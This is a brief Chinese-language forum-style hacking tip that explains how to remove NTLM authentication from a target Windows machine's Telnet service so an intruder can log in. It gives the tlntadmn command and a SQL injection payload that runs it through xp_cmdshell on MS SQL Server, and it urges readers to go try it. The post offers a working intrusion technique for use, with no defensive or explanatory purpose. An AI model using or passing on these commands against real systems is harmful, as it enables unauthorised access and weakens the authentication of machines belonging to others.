告诉大家一个小技巧 一直没人提到过的Hacking东东

 

1 上传ntml.exe 这种方法有很多缺点，比如：对方有杀毒软件，很多网段屏蔽了TFTP.

2 直接写入telnet的配置信息到文本中然后在用shell执行。 这种办法非常麻烦。


今天我给大家介绍我一直在使用的办法，压箱底的哦。

那就是直接运行命令：tlntadmn config sec = -ntlm

注射的话可以直接运行：;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
运行以后就去掉了该死的ntlm认证：） 赶快去试试吧。